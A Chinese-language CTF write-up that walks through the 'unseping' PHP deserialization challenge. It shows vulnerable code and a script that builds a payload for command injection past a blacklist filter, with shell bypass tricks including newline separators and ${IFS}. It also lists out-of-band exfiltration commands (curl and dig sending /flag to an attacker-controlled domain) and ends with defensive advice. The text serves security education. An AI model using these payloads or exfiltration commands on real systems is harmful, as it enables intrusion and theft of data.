PHP反序列化漏洞实战:从CTF题看命令执行与WAF绕过

📅 2026/7/7 20:16:00
PHP反序列化漏洞实战:从CTF题看命令执行与WAF绕过
1. 项目概述从一道CTF题看PHP反序列化的攻防艺术最近在复盘一些经典的Web安全挑战特别是CTFCapture The Flag中的题目总能发现很多有趣且贴近实战的知识点。今天想和大家深入聊聊一道来自“攻防世界”平台的Web题目——unseping。这道题的核心考点是PHP反序列化漏洞的利用以及如何绕过常见的WAFWeb应用防火墙或代码过滤机制。对于Web安全初学者来说理解反序列化可能有点门槛而对于有经验的朋友题目中设置的“绕过”环节则是对思维灵活性和对PHP语言特性深度理解的一次很好检验。简单来说这道题模拟了一个常见的场景一个Web应用接收用户输入对其进行反序列化操作但在反序列化之前或之后加入了一些过滤或检查逻辑。攻击者的目标就是构造一个特殊的序列化字符串我们称之为“反序列化链”或“POP链”使其在通过过滤后仍能成功触发恶意代码执行从而读取服务器上的敏感文件即“Flag”。整个过程涉及PHP魔术方法、序列化字符串的构造、字符逃逸、编码绕过等多个技术点。接下来我将以解题者的视角带你一步步拆解这道题不仅还原解题过程更会深入剖析每一步背后的原理和多种可能的绕过思路。2. 题目环境与核心代码逻辑拆解首先我们需要搭建或理解题目提供的环境。通常这类题目会给出一个简单的PHP源码文件。假设我们拿到的核心代码如下此为基于常见题型还原的典型结构?php highlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this-method $method; $this-args $args; } function __destruct(){ if (in_array($this-method, array(ping))) { call_user_func_array(array($this, $this-method), $this-args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ // 模拟一个简单的过滤 $str preg_replace(/[|;]/, , $str); return $str; } function __wakeup(){ foreach($this-args as $k $v) { $this-args[$k] $this-waf($v); } } } $ctf $_GET[ctf]; if(isset($ctf)){ unserialize($ctf); } ?这段代码虽然不长但信息量很大。我们逐一拆解入口点代码通过$_GET[‘ctf’]获取一个参数并直接传递给unserialize()函数。这是典型的不安全的反序列化漏洞入口因为它允许用户控制反序列化的数据。核心类ease定义了一个名为ease的类。$method和$args是私有属性。__construct是构造函数用于初始化这两个属性。__destruct是析构函数在对象被销毁时自动调用。它的逻辑是关键检查$this-method的值是否在允许的数组这里只有”ping”中如果是则使用call_user_func_array调用$this-ping方法并将$this-args作为参数传入。ping方法接收一个参数$ip并直接将其传递给exec()函数执行系统命令然后将结果输出。这是一个明显的命令注入点。waf方法是一个简单的过滤函数使用preg_replace移除了字符串中的|、、、;这些常用于命令拼接的字符。__wakeup是一个魔术方法在对象被unserialize()反序列化时自动调用。这里它遍历$this-args数组对每个值应用waf过滤。攻击链POP Chain推理 我们的目标是执行任意系统命令。从代码逻辑看最直接的路径是控制一个ease对象使其$method为”ping”$args为一个包含我们想要执行的命令的数组。当这个对象被反序列化后首先触发__wakeup对$args进行过滤然后对象生命周期结束时会触发__destruct进而调用ping()方法执行命令。但这里存在障碍__wakeup中的waf过滤会删除我们命令中的关键字符。如果我们直接传递args为array(“ls /”)虽然ls和/不会被过滤但如果我们想执行更复杂的命令如cat /flag或者使用管道|、连接符就会被过滤掉。因此“绕过”这个过滤就是本题的第一个难点。3. 序列化字符串构造与属性访问控制在构造攻击载荷之前必须理解PHP序列化字符串的格式和私有/保护属性的表示方法这是成功构造有效载荷的基础。一个简单的ease对象序列化后看起来像这样$obj new ease(“ping”, array(“whoami”)); echo serialize($obj);输出可能是O:4:”ease”:2:{s:12:” ease method”;s:4:”ping”;s:10:” ease args”;a:1:{i:0;s:6:”whoami”;}}我们来解析一下O:4:”ease”表示一个对象Object类名长度为4类名为ease。:2:表示该对象有2个属性。{s:12:” ease method”;s:4:”ping”;第一个属性。注意对于私有属性序列化后的属性名格式为”\0类名\0属性名”。这里的\0是空字符ASCII 0。所以ease类的私有属性$method的序列化名称是”\0ease\0method”长度为12。其值s:4:”ping”表示一个长度为4的字符串”ping”。s:10:” ease args”;a:1:{i:0;s:6:”whoami”;}第二个属性。私有属性$args的序列化名称是”\0ease\0args”长度10。其值a:1:{i:0;s:6:”whoami”;}表示一个数组array有1个元素键为0整数i:0值为字符串”whoami”。关键点1空字符的表示。在URL传输或某些处理上下文中空字符\0可能需要被编码。在PHP中序列化字符串里的\0就是字面的空字符。但当我们在浏览器中通过GET参数传递时需要确保它被正确编码。有时直接复制包含不可见字符的字符串会出错因此我们通常通过编写PHP脚本生成序列化字符串。关键点2属性数量的一致性。在序列化字符串中O:4:”ease”:2:声明了有2个属性后面花括号{}里的属性定义必须恰好是2个否则在反序列化时可能会失败或触发__wakeup魔术方法的某些特性在PHP版本7.4中如果属性数量不匹配__wakeup可能不会被调用这本身曾是一种绕过手段但本题环境通常已修复。我们的任务就是手工或写脚本构造一个序列化字符串其中$method为”ping”$args为我们精心构造的、能绕过过滤的命令数组。4. WAF过滤绕过技术深度解析题目中的waf函数过滤了| ;这四个字符。在Linux命令注入中这些字符确实非常常用|管道将前一个命令的输出作为后一个命令的输入。后台运行或用于命令拼接command1 command2。反引号用于命令替换执行括起来的命令并返回输出。;分号顺序执行多个命令。过滤了这些我们还能执行命令吗当然可以安全攻防的本质就是“用尽一切可能”。以下是一些绕过思路4.1 利用未过滤的命令连接符Linux下命令连接不止这几种。常见的还有逻辑与前一个命令成功才执行后一个。虽然被过滤但是两个字符正则/[|;]/会匹配并删除其中的留下一个单独的可能破坏原有语法。但我们可以思考其他方式。||逻辑或前一个命令失败才执行后一个。同样|被过滤。\n换行符在Shell中换行符同样可以分隔命令。这是一个非常重要的绕过点。PHP的exec()函数默认会调用sh或bash而它们都接受换行符作为命令分隔符。我们可以在参数中插入%0aURL编码的换行符来分隔命令。例如我们想执行ls /和cat /flag可以构造参数为”ls /%0acat /flag”。经过waf过滤%0a不会被删除因为它不是|;中的任何一个。当这个字符串传递给exec()时Shell会将其解析为两条顺序执行的命令。4.2 利用通配符和字符串拼接有时flag文件名可能未知或者路径中有特殊字符。我们可以利用Shell通配符。*匹配任意字符。例如如果flag文件在根目录且文件名包含flag可以用cat /fla*或cat /fla?来尝试读取。变量拼接在Bash中可以用${IFS}代替空格因为空格通常不会被过滤。IFS是内部字段分隔符默认包含空格、制表符、换行符。例如cat${IFS}/flag。但注意我们的过滤不涉及空格和大多数字母所以直接使用空格通常是安全的。4.3 编码与十六进制/八进制绕过高级的绕过可能会用到编码。十六进制Bash支持$’\xHH’的格式表示字符例如|的十六进制是0x7c可以写成$’\x7c’。但这里有个问题字符串$’\x7c’本身会作为参数传递给ping方法然后由exec交给Shell解析。Shell在解析参数字符串时会解释$’\x7c’并将其转换为|。然而我们的输入在PHP层面是字符串$’\x7c’中的$和\本身是普通字符能否被Shell正确识别取决于exec的调用方式和Shell环境。这是一种可能的思路但成功率依赖于环境。反斜杠转义在某些上下文中可以用反斜杠来转义特殊字符但在这里用途有限。4.4 利用PHP本身和序列化结构的特性——字符逃逸这是本题更精妙的一种解法也是反序列化题目中常见的考点。我们注意到waf过滤是preg_replace(“/[|;]/”, “”, $str)它用空字符串替换掉匹配的字符。这会导致字符串长度变短。回顾序列化字符串的格式s:长度:”值”。这个“长度”是字符串值的实际字节长度。PHP在反序列化时会严格按照这个长度来读取后面的值。如果我们通过过滤使值的实际长度小于序列化字符串中声明的长度会发生什么例如我们构造$args为array(“a;ls /”)。序列化后这部分是s:6:”a;ls /”长度6。经过__wakeup中的waf过滤后;被删除字符串变成”als /”长度变为5。但反序列化引擎仍然试图读取6个字节的“值”它会多读一个字符可能是后面序列化字符串的一部分导致整个反序列化结构被破坏可能引发错误也可能意外地让后面的数据被当作值的一部分从而实现“字符逃逸”注入新的序列化属性。要利用这一点需要精确计算。我们可以构造一个值其中包含大量会被过滤的字符过滤后长度减少N那么我们就可以在序列化字符串中“腾出”N个字节的空间并在这段空间里注入我们想添加的序列化数据。这通常用于构造更复杂的攻击链比如修改$method的值原本它应该是”ping”或者注入其他对象。但这道题中由于$method在__wakeup之后才被使用且__wakeup只过滤了$args$method本身没有被过滤所以我们可能不需要这么复杂的逃逸来修改$method只需要让命令绕过$args的过滤即可。不过理解字符逃逸是深入反序列化漏洞的必修课。对于本题最直接有效的绕过方法往往是利用换行符%0a作为命令分隔符。5. 完整攻击载荷构造与实战演示结合以上分析我们开始构造最终的攻击载荷。目标是执行命令读取flag假设flag文件在/flag。步骤1确定要执行的命令由于|;被过滤我们使用换行符\nURL编码为%0a来分隔命令。一个简单的测试和读取命令可以是ls /%0acat /flag。这条命令先列出根目录确认文件位置然后读取flag文件。步骤2编写PHP脚本生成序列化字符串我们不能手动拼接带有空字符的序列化字符串容易出错。最好写一个脚本?php class ease{ private $method; private $args; function __construct($method, $args) { $this-method $method; $this-args $args; } } // 构造对象$args是数组包含我们的命令 $cmd “ls /%0acat /flag”; // 注意这里的%0a在PHP字符串中就是字面的两个字符‘%’,‘0’,‘a’。我们需要的是真正的换行符。 // 实际上在PHP中我们可以直接使用双引号字符串和\n或者chr(10) $cmd “ls /\ncat /flag”; // \n在双引号字符串中会被解析为换行符 $obj new ease(“ping”, array($cmd)); echo serialize($obj); // 输出结果类似 // O:4:”ease”:2:{s:12:” ease method”;s:4:”ping”;s:10:” ease args”;a:1:{i:0;s:14:”ls / // cat /flag”;}} // 注意输出的字符串里包含了实际的换行符显示为折行。 ?运行这个脚本得到序列化字符串。注意这个字符串里包含了不可见的换行符。我们需要将其进行URL编码以便通过GET参数安全传输。步骤3对序列化字符串进行URL编码由于序列化字符串中包含空字符\0和换行符\n等非打印字符直接拼接到URL中可能会丢失或出错。我们需要对整个序列化字符串进行urlencode处理。?php // … 同上构造$obj … $serialized serialize($obj); echo urlencode($serialized); ?运行后会得到一串百分号编码的字符串。这是我们的最终攻击载荷。步骤4发起请求假设题目部署在http://target.com/challenge.php我们使用浏览器、curl或Burp Suite等工具发起请求http://target.com/challenge.php?ctfURLENCODED_PAYLOAD将URLENCODED_PAYLOAD替换为上一步得到的结果。步骤5结果解析如果一切顺利页面会执行ping方法即exec(“ls /\ncat /flag”, $result)然后var_dump($result)输出结果。输出中应该会包含根目录列表和flag文件的内容。6. 进阶绕过与替代方案探讨如果题目环境发生变化或者过滤规则更加严格我们可能需要其他方案。6.1 过滤了空格和换行符如果waf函数加强也过滤了空格 和换行符\n我们可以尝试使用${IFS}代替空格如果$、{、}未被过滤。使用制表符%09代替空格如果制表符未被过滤。使用重定向符例如cat/flag在这里被用作输入重定向可以绕过空格。使用Bash的内置字符串替换例如{cat,/flag}这会被扩展为cat /flag。6.2 无回显下的外带数据OOB如果命令执行了但没有回显即var_dump被移除或结果不显示我们需要通过外带Out-of-Band技术将数据带出来。常用方法curl或wget让服务器访问我们控制的网站并将flag作为URL参数或POST数据发送。例如curl http://your-server.com/?flag$(cat /flag|base64)。这需要目标服务器能出网且安装了这些工具。DNS外带使用dig或nslookup将flag作为子域名的一部分进行DNS查询。例如dig $(cat /flag|tr -d ‘\n’).your-domain.com。这通常能绕过更严格的防火墙。写入Web目录如果可以将flag写入Web可访问的目录然后通过浏览器访问。例如cp /flag /var/www/html/flag.txt。6.3 利用其他魔术方法或POP链本题的POP链很简单__wakeup-__destruct-call_user_func_array-exec。但在更复杂的代码中可能需要串联多个类的魔术方法如__toString、__call、__get、__set等才能达到代码执行的目的。这就需要仔细阅读源码理解对象之间的交互和属性访问流程构造一条“属性导向编程Property-Oriented Programming”链即POP链。7. 防御建议与安全编程思考从这道题出发我们可以总结出一些对于开发者的安全建议永远不要反序列化不可信的数据这是根本原则。如果必须使用反序列化可以考虑使用安全的替代方案如JSONjson_decode。使用白名单机制如果业务必须使用反序列化应严格限制可反序列化的类。PHP提供了unserialize()的第二个参数[‘allowed_classes’ false]PHP 7.0来禁用所有类的反序列化或者指定一个明确的白名单数组。魔术方法需谨慎__wakeup、__destruct、__toString等魔术方法在反序列化攻击链中经常被利用。在这些方法中应避免执行敏感操作或至少进行严格的输入验证。输入验证与过滤正如本题所示过滤黑名单往往可以被绕过。安全设计应倾向于白名单验证只允许已知安全的字符或模式。对于命令执行应使用参数化调用如exec(‘ls’, [‘-la’, ‘/home’])而不是字符串拼接但注意PHP的exec本身不支持参数数组更好的方式是使用escapeshellarg()或escapeshellcmd()函数对参数进行转义或者彻底避免使用exec、system、shell_exec等函数。最小权限原则运行Web服务的用户如www-data应具有尽可能低的权限避免其能够读取或写入敏感文件。8. 实战中可能遇到的坑与排查技巧序列化字符串格式错误手动构造或修改序列化字符串时极易出错。属性数量、长度声明必须绝对准确。一个字符的错误就会导致反序列化失败。务必使用脚本生成并直接复制输出。URL编码问题生成的序列化字符串必须进行完整的URL编码。使用urlencode()函数而不是只对部分字符如空格进行替换。在Burp Suite中发送时注意Decoder模块的使用确保Payload以正确的格式粘贴。特殊字符的表示注意\0空字符在序列化字符串中的表示。在PHP源码视图里它可能显示为\0但在字符串处理时它是一个单字符。确保你的生成和传输过程没有改变它。PHP版本差异不同PHP版本在反序列化细节上可能有差异例如__wakeup在属性数量不匹配时的行为CVE-2016-7124。了解你的目标环境版本。无回显的判断如果页面没有输出如何判断命令是否执行可以尝试执行一个会有明显侧信道效果的命令如sleep 5观察页面响应是否延迟。或者尝试使用ping命令向自己的服务器发送ICMP包用Wireshark或tcpdump抓包判断。绕过长度限制有时GET参数有长度限制。如果序列化后的Payload过长可以尝试缩短命令如使用短变量名/???/???代替/usr/bin/wget或者改用POST请求提交数据。这道unseping题目虽然代码量不大但涵盖了反序列化漏洞利用的基础流程、POP链构造、简单的WAF绕过以及Linux命令注入的多种技巧。通过亲手实践一遍从代码审计、思路形成、Payload构造到最终利用的完整过程对理解PHP反序列化漏洞的实质和Web安全的攻防思维大有裨益。在实际的安全测试或CTF比赛中遇到类似问题首先要做的就是静下心来仔细阅读每一行代码理解数据流和控制流然后大胆假设小心验证。